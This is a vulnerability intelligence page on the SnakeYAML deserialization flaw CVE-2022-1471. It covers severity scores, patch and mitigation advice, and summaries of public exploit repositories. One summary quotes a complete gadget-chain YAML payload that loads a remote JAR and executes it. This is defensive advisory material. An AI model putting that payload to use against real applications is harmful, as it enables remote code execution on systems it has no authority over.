Skip to main content
Mallory
CriticalPublic exploitVulnerability

CVE-2022-1471: SnakeYAML Constructor Deserialization Remote Code Execution

Published Dec 1, 2022 · Updated 3 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
CVSS9.8Critical · v3.1
EPSS54.2%99th percentile
CISA KEVNoNot listed
In the wildNonePublic exploit, no exploitation reported
Vendor
Snakeyaml Project
IdentifiersCVE-2022-1471CWE-502 · Deserialization of Untrusted Data

CVE-2022-1471 is an unsafe deserialization vulnerability in SnakeYAML versions before 2.0. The Constructor class does not adequately restrict which Java types can be instantiated during YAML deserialization. Applications that process attacker-controlled YAML using Yaml.load() with an unsafe constructor can instantiate attacker-selected classes through explicit YAML type tags. When suitable classes or gadget chains are available in the application runtime, object construction can trigger arbitrary code execution.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation can execute arbitrary code with the privileges of the application processing the YAML. This can compromise application-accessible sensitive data, permit unauthorized data modification, and disrupt service availability. The extent of compromise depends on the runtime classes available, application permissions, and deployment isolation; the presence of a vulnerable dependency alone does not establish an exploitable input path.

Mitigation

If you can’t patch tonight, do this now.

Use SnakeYAML SafeConstructor when parsing untrusted YAML to prevent arbitrary Java object construction. Until a fix is deployed, avoid accepting untrusted YAML through unsafe deserialization paths and restrict access to affected services or import interfaces. Network restrictions reduce exposure but do not protect against malicious YAML supplied through other input channels.

Remediation

Patch, then assume compromise.

Upgrade SnakeYAML to version 2.0 or later and ensure untrusted YAML is parsed using a safe configuration. For products bundling SnakeYAML, apply the vendor-supported security update rather than independently replacing dependencies. Identified fixed releases include HCL Workload Automation 10.1.0.3, DynamoDB local 1.25.1 for the 1.x branch or 2.5.3 for the 2.x branch, and TorchServe 0.8.2. Update and redeploy dependent application packages and container images as applicable.

Public exploits

Exploits

7 exploits validated by Mallory's analysis. Hidden: 2 rejected by Mallory's analysis as not a working exploit; 1 not yet analyzed, such as Exploit-DB entries.

View more in app →
torchserver_cve_2023_43654.rbThis repository contains a single Metasploit module targeting PyTorch TorchServe servers vulnerable to a chain of issues culminating in unauthenticated remote code execution (RCE). The exploit leverages CVE-2023-43654 (model registration SSRF) and CVE-2022-1471 (SnakeYAML deserialization RCE). The module works by registering a model from an attacker-controlled server, which serves a malicious MAR file containing a crafted YAML configuration. This configuration exploits the deserialization vulnerability to load and execute arbitrary Java code on the target. The module includes checks for the TorchServe API and version, and cleans up by unregistering the model after exploitation. The main attack vector is network-based, targeting the HTTP management interface of TorchServe, typically on port 8081. The code is written in Ruby and is structured as a standard Metasploit exploit module.Disclosed Oct 3, 2023 · Framework: metasploit · ruby · networkWeaponizedJava-ExampleThis repository is a small Java/Maven Spring Boot demo application intentionally built to demonstrate exploitation of SnakeYAML unsafe deserialization (CVE-2022-1471) and then show remediation via Seal Security. It is not just documentation: the core exploit behavior is implemented in application code, primarily in src/main/java/io/sealsecurity/demo/controller/HelloController.java. Repository structure: DemoApplication.java is the Spring Boot entry point; HelloController.java contains the vulnerable web endpoint and exploit logic; DataService.java contains additional examples of vulnerable dependency usage (Commons Text, SnakeYAML, Log4j) but is not the main exploit path; application.properties sets the app name and port 8080; DemoApplicationTests.java provides basic tests. Supporting files include pom.xml with intentionally vulnerable dependency versions, GitHub Actions workflows that build/run the app and expose it via ngrok, a Jenkinsfile showing CI integration, and .seal-actions.yml mapping vulnerable dependencies to sealed versions. Main exploit capability: the root route '/' accepts a 'name' parameter over GET or POST and passes it directly to new Yaml().load(name). If the input contains a YAML global tag such as '!!javax.script.ScriptEngineManager []', vulnerable SnakeYAML 1.33 will instantiate the attacker-specified Java type. The controller treats this as an exploit attempt, returns a 'You've been pwned' HTML page, and asynchronously calls Runtime.getRuntime().halt(1) after a short delay, killing the JVM. This makes the exploit operational as a remote unauthenticated denial-of-service demonstration and a proof of arbitrary type instantiation. The code does not include a full gadget chain for arbitrary code execution, but the README explicitly frames it as the object-injection primitive behind RCE. The exploit is web/network-based, requiring only HTTP access to the application. Fingerprintable targets include the '/' endpoint, the 'name' parameter, localhost:8080 for local testing, and a hardcoded public ngrok hostname used in CI demos. The workflows also contain external infrastructure references for ngrok and Seal CLI downloads. Overall, this is a legitimate exploit/demo repository for CVE-2022-1471 with an intentionally vulnerable application and CI automation to demonstrate both exploitation and remediation.seal-sec-demo-2 · Disclosed Jul 13, 2026 · java · xml · web · networkOperationalyaml-payload-2This is a compact three-file Java exploit repository, not a framework module. The README documents a SnakeYAML CVE-2022-1471 deserialization chain that loads yaml-payload.jar from GitHub through java.net.URL, URLClassLoader, and javax.script.ScriptEngineManager. The SPI descriptor registers artsploit.AwesomeScriptEngineFactory, whose constructor is the effective execution entry point. The factory contains a hard-coded PWNED HTML page, executes platform-specific calculator commands (open -a Calculator, calc.exe, or gnome-calculator), and attempts to persist visible control of the target web application by reflectively installing a Tomcat Valve on the existing port-8080 application pipeline. If this is not possible, it starts a standalone HTTP server on port 9999. The implementation is an operational, demonstration-oriented RCE payload with hard-coded effects rather than a generalized payload generator; it is not merely a vulnerability detector.seal-sec-demo-2 · Disclosed Jul 17, 2026 · java · network · webOperationalyaml-payloadThis repository is a compact Java exploit payload for CVE-2022-1471 (SnakeYAML unsafe deserialization). It contains three files: a README explaining the exploit chain and usage, a Java SPI registration file under src/META-INF/services, and the main payload class src/artsploit/AwesomeScriptEngineFactory.java. The exploit is not a scanner or detector; it is an active RCE payload intended to be loaded remotely as a JAR through a SnakeYAML gadget chain using ScriptEngineManager and URLClassLoader. Core structure and purpose: - README.md documents the malicious YAML payload string, build steps, and intended demo usage. - src/META-INF/services/javax.script.ScriptEngineFactory registers artsploit.AwesomeScriptEngineFactory as a ScriptEngineFactory provider so Java's Service Provider Interface loads it automatically. - src/artsploit/AwesomeScriptEngineFactory.java contains the exploit logic. The constructor is the effective entry point because instantiation alone triggers code execution. Main exploit capabilities observed: - Achieves arbitrary code execution when a vulnerable application deserializes attacker-controlled YAML with SnakeYAML's unsafe load path. - Uses remote class loading from a GitHub-hosted JAR URL. - Executes OS-specific commands to launch Calculator on macOS, Windows, or Linux as immediate proof of execution. - Attempts reflective Tomcat Valve injection to hijack the live request pipeline of a running Java web app, especially Spring Boot with Tomcat, so subsequent responses are replaced with a custom PWNED HTML page. - If Tomcat takeover fails, starts a fallback HTTP server on port 9999 and serves the same PWNED content there. - Attempts browser automation to open the hijacked/fallback URL. - README indicates optional ngrok awareness/discovery so the exploit can expose or reuse a public URL. The payload is operational rather than merely demonstrative: it includes a concrete malicious HTML payload, OS command execution, persistence within the running web process via Valve injection, and a network-facing fallback server. The code shown is clearly designed for visible application takeover and proof of RCE, not stealth or post-exploitation depth.seal-sean-org · Disclosed Jul 17, 2026 · markdown · java · web · networkOperationalseans-surf-and-skateThis repository is a deliberately vulnerable Spring Boot demo application rather than a standalone exploit toolkit, but it contains a real exploitable sink for CVE-2022-1471. The main exploit path is in src/main/java/io/sealsecurity/demo/controller/HelloController.java: the POST '/' handler accepts the 'name' parameter and passes it directly to new Yaml().load(name). Because the project pins org.yaml:snakeyaml:1.33, attacker-supplied YAML can trigger arbitrary object instantiation and, in the demonstrated payload, remote code execution. Repository structure is small and straightforward: DemoApplication.java is the Spring Boot entry point; HelloController.java exposes the vulnerable web endpoint and renders store.html; DataService.java demonstrates additional intentionally vulnerable libraries (Commons Text, Log4j, SnakeYAML) but is not wired to an externally reachable exploit path in the provided code; application.properties sets server.port=8080; store.html is a large static storefront template; tests validate basic application behavior. The pom.xml intentionally pins multiple historically vulnerable dependencies for remediation/scanning demos, but the clearly weaponized path in this repo is the SnakeYAML issue. The GitHub Actions workflow .github/workflows/build-and-run.yml makes the exploit highly actionable by building the app, exposing it via ngrok, and printing a ready-to-use YAML payload: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]. That payload causes the Java process to load a remote JAR from raw.githubusercontent.com through a URLClassLoader. The README explicitly states that pasting this payload into the newsletter field achieves RCE and swaps the storefront for a 'You've Been PWNED' page. This makes the repository an operational demo exploit for a web-exposed Java deserialization/object-instantiation vulnerability. Overall capability: exploit a web form on '/' by submitting crafted YAML in the 'name' field, causing unsafe SnakeYAML parsing and remote class loading. Attack vector is primarily web/network. The exploit is not part of Metasploit/Nuclei/etc., and it is not merely a detector or README-only sample.seal-sean-org · Disclosed Jul 17, 2026 · java · html · web · networkOperationalsnakeyaml_cve_pocThis repository is a proof-of-concept (POC) exploit for CVE-2022-1471, a critical deserialization vulnerability in SnakeYAML (version 1.33). The project is a simple Java web application using the Spark framework, exposing HTTP endpoints on port 8080. The main entry point is 'App.java', which provides two endpoints: a GET endpoint that serializes a sample Student object to YAML, and a POST endpoint that deserializes user-supplied YAML into a Student object using SnakeYAML's unsafe Constructor. The exploit demonstrates how an attacker can send a malicious YAML payload to the POST endpoint, causing the vulnerable application to perform unintended actions, such as making outbound HTTP requests (as shown in the README). The repository includes Docker support for easy deployment and testing. The exploit does not provide a weaponized payload but clearly demonstrates the vulnerability and its impact.falconkei · Disclosed May 8, 2023 · java · xml · networkPoCcve-2022-1471-jira-labThis repository is a self-contained Java/bash proof-of-concept lab for CVE-2022-1471, demonstrating SnakeYAML unsafe deserialization leading to code execution during YAML parsing. It is not a framework module and contains 7 files total: a README, one shell runner, two Java source files, one Java service registration file, a sample proof output file, and .gitignore. The main execution flow is in run.sh, which builds payload.jar from src/Exploit.java, compiles src/VulnDemo.java against SnakeYAML 1.31, starts a local Python HTTP server on 127.0.0.1:8077, and runs the vulnerable parser. VulnDemo performs a bare new Yaml().load(yaml) on attacker-controlled YAML containing the canonical gadget chain !!javax.script.ScriptEngineManager -> !!java.net.URLClassLoader -> !!java.net.URL ["http://127.0.0.1:8077/payload.jar"]. When parsed by SnakeYAML 1.31, the JVM loads the remote JAR and ServiceLoader discovers the Exploit class via src/META-INF/services/javax.script.ScriptEngineFactory. The static initializer in Exploit executes immediately and writes PWNED-BY-SNAKEYAML.txt as proof of arbitrary code execution. The script then recompiles/reruns VulnDemo against SnakeYAML 2.2 to show the same payload is rejected, demonstrating the fix boundary. Main exploit capability: arbitrary Java code execution during YAML parsing through attacker-controlled class loading, though this repo uses a harmless payload that only writes a marker file. The repository is therefore a real exploit PoC/lab rather than a detection script, with an operational but intentionally non-destructive payload.aykhan019 · Disclosed Aug 15, 2026 · markdown · bash · web · networkPoC
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Snakeyaml ProjectSnakeyamlapplication
FAQ

Frequently asked questions

Is CVE-2022-1471 exploited in the wild?
As of Nov 25, 2026, Mallory has no reports of CVE-2022-1471 being exploited in the wild. It is not listed in CISA KEV.
Is there a public exploit for CVE-2022-1471?
Yes. Mallory tracks 7 public exploits or proofs of concept for CVE-2022-1471, the earliest disclosed May 8, 2023.
Is there a patch for CVE-2022-1471?
Upgrade SnakeYAML to version 2.0 or later and ensure untrusted YAML is parsed using a safe configuration. For products bundling SnakeYAML, apply the vendor-supported security update rather than independently replacing dependencies.
What products are affected by CVE-2022-1471?
Snakeyaml Project Snakeyaml.
How severe is CVE-2022-1471?
CVE-2022-1471 has a CVSS v3.1 score of 9.8 (Critical) and an EPSS score of 54.2% (99th percentile) as of Nov 25, 2026.
Activity feed

Recent activity

59 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
aws security blogNews · Oct 12, 2026GuardDuty Extended Threat Detection has added five new indicators to surface attack sequences | AWS Security BlogA SnakeYAML deserialization vulnerability observed on an EKS cluster and other hosts receiving GuardDuty indicators. Its high reported EPSS score supported remediation prioritization; the content does not establish that attackers exploited this specific flaw.Read more ↗osint team blogNews · Oct 12, 2026CVE-2022-1471: Achieving RCE on Android with SnakeYAML via Custom Gadget Chains | by tinopreter | Sep, 2026 | OSINT TeamUnsafe deserialization in SnakeYAML can enable remote code execution when applications load attacker-controlled YAML. The content explains that a standard ScriptEngineManager payload fails on Android because the required Java SE classes are unavailable, then presents an application-specific LegacyCommandUtil gadget associated with Runtime.getRuntime().exec(). Exploitability on Android depends on available application classes and gadget chains.Read more ↗atlassian confluenceNews · Apr 22, 2026Security Bulletin - April 21 2026 | Atlassian Support | Atlassian DocumentationRemote code execution vulnerability in the org.yaml:snakeyaml dependency affecting Confluence Data Center, Jira Software Data Center, and Jira Service Management Data Center. The content notes Atlassian assessed its application as lower, non-critical risk.Read more ↗atlassian jiraNews · Apr 16, 2026[CONFSERVER-103612] RCE (Remote Code Execution) org.yaml:snakeyaml Dependency in Confluence Data Center - Create and track feature requests for Atlassian products.A critical remote code execution vulnerability in SnakeYAML caused by unsafe deserialization via the Constructor() class, which does not restrict types instantiated during deserialization of attacker-controlled YAML content.Read more ↗
+32 more in the timeline. Sign up to see them
Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidenceEvery report linking this CVE to a named adversary.
Associated malwareMalware families linked to this CVE, with evidence and IOCs.
Detection signatures10YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activity3Community discussion across Reddit, Mastodon, and other social sources.